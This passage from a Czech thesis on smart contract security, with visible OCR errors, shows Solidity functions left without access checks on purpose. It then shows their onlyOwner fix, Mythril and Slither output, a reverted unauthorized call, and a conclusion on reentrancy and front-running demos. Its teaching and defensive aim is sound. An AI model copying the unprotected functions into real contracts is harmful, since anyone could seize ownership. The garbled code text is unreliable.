vlastnika neni nulové, naptiklad pomoci konstrukce require( newOwner != address(0),

"New owner is the zero address");.
Rozdilné vysledky analyzy pomoci nastroji Mythril a Slither jasné ukazuji, ze
automatizované nastroje mohou mit riznou schopnost detekovat chyby v zavislosti na

pouzité metod¢ analyzy. Vysledky soucasné potvrzuji, Ze neni bezpecné spoléhat se pouze
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na jediny nastroj, a ze kombinace vice ndstroji spolu s manudlni kontrolou kodu je nezbytna

pro diikladné odhaleni potencialnich zranitelnosti.
Manualni kontrola kodu

Jak ukézaly vysledky automatizované analyzy, spoléhat se vyhradn€¢ na nastroje neni
bezpecné. Pravé pro detekci zranitelnosti, které automatizované ndstroje mohou
ptehlédnout, je nezbytna detailni manudlni kontrola kodu. Manualni inspekce kodu proto

zustava nenahraditelnou souc¢asti bezpecnostniho auditu.

Pti podrobné manualni kontrole Ize snadno identifikovat hlavni problém:

/**

* @dev Funkce méni dGlezita data. Nechranénad - kdokoliv mlze volat.
*/

function updateImportantData(string memory _data) public {

importantData = _data; // <--- Zde dochazi ke zméné kritického stavu

}
/**

* @dev Funkce méni vlastnika kontraktu. Nechranéna - kdokoliv mizZe prevzit

vlastnictvi.
*/
function changeOwner(address _newOwner) public {

owner = _newOwner; // <--- Zde dochazi ke zméné vlastnika kontraktu

Chyba spociva v absenci jakéhokoli ovéfeni na zacatku téchto funkci. Typickym a spravnym
feSenim by bylo pouziti modifikatoru onlyOwner, ktery ovéfi, zda volajici (msg.sender) je
aktualnim vlastnikem ulozenym v proménné owner. V tomto zranitelném kodu vSak tento

modifikator nebo ekvivalentni require(msg.sender == owner, ...) chybi.

6.4.3 Implementace bezpe¢nostniho opatieni (Mitigace)

Po identifikaci a nazorné demonstraci zranitelnosti kontroly pfistupu v kontraktu
VulnerableAccessControlDemo, kde bylo ukazano, Ze chybéjici kontroly umoZiluji

komukoli neopravnéné ménit stav a prevzit vlastnictvi, bylo pfistoupeno k implementaci



UTB ve Zliné, Fakulta aplikované informatiky 131

bezpecnostniho opatieni. Cilem bylo modifikovat kontrakt tak, aby kritické funkce byly

pfistupné pouze opravnénym uzivatelim, ¢imz se eliminuje hlavni vektor zneuziti.

Primérni a standardni metodou mitigace pro zranitelnosti kontroly ptistupu v Solidity
je pouziti mechanismi, které ovétuji identitu nebo roli volajiciho pfed provedenim citlivé
operace. Nejcastéjsim a doporuenym piistupem pro funkce, které maji byt volatelné pouze
vlastnikem kontraktu, je aplikace modifikatoru onlyOwner. Tento modifikator je bézné
pouzivan v Solidity kontraktech a zajistuje, ze funkce, na kterou je aplikovan, miize byt
spusténa pouze uctem, jehoz adresa je shodnd s adresou ulozenou ve stavové promeénné
owner. Modifikator typicky obsahuje podminku require(msg.sender == owner, "Chybova
zprava"); nebo ekvivalentni logiku, ktera v piripadé¢ neshody zpisobi selhani transakce
(revert). Pouziti modifikatoru vede k cistSimu a Iépe cCitelnému kédu ve srovnani s

opakovanim stejné require podminky na zac¢atku kazdé chranéné funkce.

Pro mitigaci zranitelnosti v kontraktu VulnerableAccessControlDemo bylo
rozhodnuto implementovat standardni modifikator onlyOwner a aplikovat ho na funkce
updateImportantData() a changeOwner(). Tato uprava zajisti, Ze pouze aktudlni vlastnik

kontraktu (definovany proménnou owner) bude mit opravnéni tyto funkce volat.

Nize je uveden kod  zabezpeCen¢  verze  kontraktu, nazvaného

SecureAccessControlDemo, ktery implementuje toto bezpecnostni opatieni.

Upraveny kéd kontraktu (Zabezpecena verze)

// SPDX-License-Identifier: MIT
pragma solidity "0.8.29;
Yk

* @title SecureAccessControlDemo

* @dev Smart kontrakt se spravnou kontrolou pristupu. Funkce updateImportantData() a

changeOwner() jsou chranény modifikatorem onlyOwner.
*/
contract SecureAccessControlDemo {

address public owner;

string public importantData;

J**

* @dev Udalost pro auditovatelné logovani zmény vlastnika.
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* Emitovana pouze v nekritické podobé (nezaznamenava predchoziho vlastnika, jen

nového).
*/
event OwnershipTransferred(address indexed newOwner);
/**
* @dev Konstruktor nastavi deployera jako pocatecniho vlastnika.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Modifikdator omezujici pristup pouze na vlastnika kontraktu.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Pouze vlastnik muze volat tuto funkci.");
_s // <-- zde bude télo funkce, napriklad: importantData = _data;
}
/**
* @dev Funkce méni dilezitd data. Volatelnd pouze vlastnikem.
*/
function updateImportantData(string memory _data) public onlyOwner {
importantData = _data;
}
/**

* @dev Funkce méni vlastnika kontraktu. Volatelna pouze vlastnikem. Kontroluje

nulovou adresu.
&7/
function changeOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(®), "Nova adresa nesmi byt nulova.");
owner = _newOwner;

emit OwnershipTransferred(_newOwner);
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Ukazka kodi 14: Zabezpeceny kontrakt SecureAccessControlDemo

( zdroj: viastni )

V upraveném kodu byl ptidan modifikator onlyOwner(), ktery zahrnuje kontrolu
require(msg.sender == owner, ...). Tento modifikator byl nasledné aplikovan na hlavicky
funkci updateImportantData() a changeOwner(). Tim je zajiSténo, Ze pii kazdém pokusu o
volani téchto funkci bude nejprve provedena kontrola, zda volajici transakce pochazi od
aktudlniho vlastnika kontraktu. Pokud nepochazi, transakce selze s chybovou zpravou
"Pouze vlastnik muze volat tuto funkci.", zabranéno tak neopravnéné zmeéné stavu nebo

vlastnictvi.

Tato jednoducha, ale zasadni uprava efektivné tesi primarni zranitelnost kontroly
pristupu v tomto demonstraénim kontraktu a zajiStuje, ze pouze urCeny vlastnik ma
privilegované opravnéni k témto kritickym funkcim.

vvvvvv

(napf. zaloZena na rolich, vicefdzova potvrzeni pro klicové operace apod.), av§ak pro dany

demonstraéni piiklad je modifikator onlyOwner adekvatni a nazornou mitigaci.

Nasledné bude provedeno ovéfeni ucinnosti této mitigace pomoci simulace utoku na

zabezpeceny kontrakt a opétovné analyzy nastroji pro statickou analyzu.

6.4.4 Analyza po mitigaci

Po implementaci bezpecnostniho opatieni spocivajiciho v aplikaci modifikatoru onlyOwner
a pridani kontroly nulové adresy do funkce changeOwner() v kontraktu
VulnerableAccessControlDemo (¢imz vznikl kontrakt SecureAccessControlDemo), bylo
nezbytné provést novou analyzu kodu a praktické testovani. Cilem bylo ovéfit, zda
provedené¢ Upravy ucfinn€ odstranily zranitelnost kontroly pfistupu, kterd byla

demonstrovana simulaci a potvrzena analyzou zranitelné verze.

Analyza byla provedena opétovné ndstroji pro statickou analyzu, Mythrilem a
Slitherem, na kodu zabezpeceného kontraktu (Ukdzka kodu 14). Dale bylo provedeno
praktické ovétfeni simulaci volani chranénych funkci z neopravnéného Uctu v prostiedi

Remix IDE.
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Vystup z Mythrilu (po mitigaci)

=> contracts myth analyze VulnerableAccessControlDemo.sol

The analysis was completed successfully. No issues were detected.

Jak ukazuje vystup, nastroj Mythril nenalezl v zabezpeCené verzi kontraktu Zzadné
bezpecnostni problémy. Tento vysledek byl v souladu s o¢ekdvanim v kontextu piedchozi
analyzy, kde Mythril nedetekoval primarni zranitelnost kontroly pfistupu ani v nemitigované

verzi. Déle byla provedena analyza nastrojem Slither.

Vystup ze Slitheru (po mitigaci)

= contracts slither SecureAccessControlDemo.sol
‘solc --version' running

'solc SecureAccessControlDemo.sol --combined-json abi,ast,bin,bin-
runtime, srcmap,srcmap-runtime,userdoc,devdoc,hashes --allow-paths

.,/Users/mv/Desktop/school/contracts' running
INFO:Detectors:

Parameter SecureAccessControlDemo.updateImportantData(string). data

(SecureAccessControlDemo.sol#36) is not in mixedCase

Parameter SecureAccessControlDemo.changeOwner(address)._newOwner

(SecureAccessControlDemo.sol#43) is not in mixedCase

Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-

to-solidity-naming-conventions

INFO:Slither:SecureAccessControlDemo.sol analyzed (1 contracts with 100 detectors), 2

result(s) found

Analyza zabezpecené¢ho kontraktu pomoci Slitheru ukazala dva nalezy, které se tykaji
"Conformance to Solidity naming conventions" — doporuceni pro styl kodu (pouZiti
mixedCase pro nazvy parametrii). Tyto ndlezy nepfedstavuji bezpe€nostni zranitelnosti. Z
pohledu kontroly ptistupu a souvisejicich problémi nenalezl Slither Zaddné relevantni nalezy.
Dulezité je, Ze Slither jiZ nehldsi nalez "Missing zero address validation" pro funkci
changeOwner(), ktery byl detekovéan v zranitelné verzi. To potvrzuje, ze pfidani podminky
require(_newOwner != address(0), ...) bylo u¢inné v feSeni tohoto konkrétniho problému s

validaci adresy.
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Jako soucést testovani bylo praktické ovéreni mitigace. Simulace spocivala v pokusu o

volani chranénych funkci (updateImportantData() a changeOwner()) z uctu, ktery nebyl

vlastnikem kontraktu. Vysledek tohoto testu je zaznamenan v tabulce (Tabulka 28).

[vm]

from: ©xAb8..35cb2
to: SecureAccessControlDemo.changeOwner()
data: Oxa6f...35ch2

status

0x0 Transaction mined but execution failed

transaction hash

0x1b02f8e9a48784d7fbf3e51d7dac43d61alf9260af7bad32c48c9de69fledafts

block hash

0x8208047644b5af035¢c779ee6b2435727d8c0alf73b5fd6c1328ebb97c5de8e5b

block number

from 0xAb8483F64d9C6d1ECF9b849Ae677dD3315835¢ch2
to SecureAccessControlDemo.changeOwner (address)

0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8
gas 3000000 gas

transaction cost

24371 gas

execution cost

2939 gas

input Oxa6f...35cb2
0x08C379200000000000000000000000000000000000000000000000V0V0V0V00
000000200000000000000000000000000000000000000000000000000000000000

output 000022416e6c792061776€65722063616€2063616c6c20746869732066756e6374

69616€2e0000000000000000000000000000000000000000000000000000000000
00

decoded input

{
"address _newOwner": "@xAb8483F64d9C6d1EcF9b849Ae677dD3315835ch2"

}

decoded output {3}
logs [
raw logs [
transact to SecureAccessControlDemo.changeOwner errored: Error
occurred: revert.
} revert
poznamka The transaction has been reverted to the initial state.

Reason provided by the contract: "Only owner can call this
function.".

You may want to cautiously increase the gas limit if the
transaction went out of gas.

Tabulka 28: Neautorizované volani — SecureAccessControlDemo

( zdroj: viastni )
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Tabulka (Tabulka 28) ukazuje, Ze pokus o volani funkce changeOwner() z neopravnéného
uctu (0xADS...35¢b2, ktery neni vlastnikem) skoncil netispéchem. Transakce byla zamitnuta
a revertovana. Divodem revertu je chybova zprava "Only owner can call this function.",

ktera pochazi z podminky v modifikatoru onlyOwner.

Implementaci modifikdtoru onlyOwner a pfidanim kontroly nulové adresy byla
zranitelnost kontroly pfistupu v tomto demonstraénim kontraktu uspésné eliminovana, ¢imz
se prokazala uc¢innost standardnich bezpecnostnich mechanismti Solidity pro fizeni ptistupu
k citlivym funkcim. Tento piiklad opét zdiraziuje, ze spravné pouziti zakladnich

bezpecnostnich vzori je klicové pro prevenci zranitelnosti smart kontrakta.
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7 ZAVER

Tato diplomova prace se zabyvala problematikou bezpecnostnich rizik smart kontraktii na
blockchainovych platformach, se specifickym zaméfenim na ekosystém Ethereum a
programovaci jazyk Solidity. Hlavnim cilem prace bylo analyzovat klicové zranitelnosti,

demonstrovat jejich praktické zneuziti a navrhnout, implementovat a ovéfit G¢inna

bezpecnostni opatfeni vedouci k minimalizaci téchto rizik.
Srovnani teoretickych poznatku s praktickymi vysledky

Teoreticka ¢ast prace poskytla komplexni piehled technologie blockchain, fungovani smart
kontraktti, jejich kli¢ovych komponent a souvisejicich bezpecnostnich aspekti. Byly
identifikovany a popsdny beézné typy zranitelnosti, jako jsou Reentrancy,
Overflow/Underflow, Front-running a nedostatecna kontrola pfistupu, vcetné historickych
ptikladi jejich zneuziti.

Prakticka ¢ast prace se soustfedila na experimentalni ovéfeni téchto teoretickych poznatki.
Prostfednictvim simulaci v prostiedi Remix IDE byly demonstrovany mechanismy

jednotlivych utokli na zamérné zranitelnych smart kontraktech.

e Simulace Overflow/Underflow ndzorné¢ ukazaly, jak aritmetické preteCeni Ci
podte¢eni mlZe vést k neocekdvanému chovani kontraktu a naruSeni jeho logiky,

zejména ve starSich verzich Solidity bez implicitni ochrany.

e Utok Reentrancy demonstroval, jak Gtoénik miize rekurzivné volat funkci kontraktu
a neopravnéné odcerpat prostfedky, pokud nejsou spravné implementovany

mechanismy zabranujici opétovnému vstupu pied dokoncenim zmén stavu.

e Simulace Front-runningu odhalila, jak muze uto¢nik zneuZit transparentnost

mempoolu k predbéhnuti legitimni transakce a ziskani neopravnéné vyhody.

e Ukézka zranitelnosti kontroly pfistupu prokazala, jak absence fadného ovéteni
identity volajiciho miize vést k neopravnéné zméné kritickych dat nebo dokonce k

prevzeti vlastnictvi kontraktu.

Nasledné¢ byla pro kazdou zranitelnost implementovana a testovana piislusna bezpecnostni
opatfeni. Napftiklad prechod na nov¢jsi verzi kompilatoru Solidity (0.8.0 a vyssi) efektivné
eliminoval rizika spojend s Overflow/Underflow diky vestavénym kontroldm. Aplikace
vzoru "Checks-Effects-Interactions" nebo pouziti Reentrancy Guard modifikatoru se

ukazala jako U€innd ochrana proti Reentrancy utokim. Proti Front-runningu byl navrzen a
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implementovan princip Commit-Reveal, a pro zabezpeceni ptistupu byl vyuzit modifikator
onlyOwner. Opakované testy a analyzy pomoci ndstrojii jako Mythril potvrdily vyrazné
snizeni nebo uplnou eliminaci demonstrovanych rizik po aplikaci téchto mitigacnich
technik. Praktické vysledky tak v zasad¢ potvrdily teoretické piredpoklady o typech hrozeb

a ucinnosti doporucovanych obrannych strategii.
Omezeni prace a doporuceni pro dalsi vyzkum

Ptestoze prace dosahla stanovenych cilii, je nutné vzit v iivahu jistd omezeni. Zranitelnosti
se neustale vyvijeji, a jak ukazaly automatizované analytické néstroje (napt. pii detekci
front-runningu), maji své hranice. Nedokazou plné€ nahradit peclivou manualni revizi kodu

ani hluboké porozuméni aplika¢nimu kontextu.
Praktické implikace a doporuceni pro praxi

Vysledky této prace maji pfimé praktické implikace pro vyvojare smart kontraktl a pro cely
ekosystém decentralizovanych aplikaci. Ukazuji kritickou diilezitost bezpe¢nostnich aspektl
jiz od faze navrhu kontraktu. Dusledné dodrzovani osvéd¢enych postupti, pouzivani
nejnovéjSich stabilnich verzi kompilatorti, implementace robustni kontroly pfistupu a

ptipadné vyuziti zavedenych bezpecnostnich knihoven, je naprosto nezbytné.

Vyvojari by méli klast velky diiraz na komplexni testovani, véetné simulaci utok, a
pravidelné provadét bezpecnostni audity svych smart kontraktd, idedln¢ kombinaci
automatizovanych ndstroji a manualni revize. Jak ukézala analyza, nékteré typy
zranitelnosti nemusi byt snadno odhalitelné pouze statickou analyzou kodu. Pochopeni

interakci kontraktu s jeho prostfedim a potencidlnich strategii uto¢niki je klicové.
Zavérefna uvaha

Bezpecnost smart kontraktd je dynamickou a neustale se vyvijejici oblasti. S rostouci
komplexitou a motivaci uto¢nikli hledat nové zplsoby jejich zneuZiti. PrestoZe absolutni
bezpecnost je obtizn¢ dosazitelnym idealem, systematicky piistup k analyze rizik,
implementace provéfenych obrannych mechanismii a neustdlé vzdélavani v oblasti
bezpecnostnich hrozeb mohou vyrazné ptispét k budovani odolnégjsich a divéryhodnéjsich
decentralizovanych systémul. Tato prace snad pfispéla k hlubSimu porozuméni této
komplexni problematice a poskytla uzite¢né poznatky jak pro akademickou sféru, tak pro

prakticky vyvoj bezpecnych smart kontrakta.
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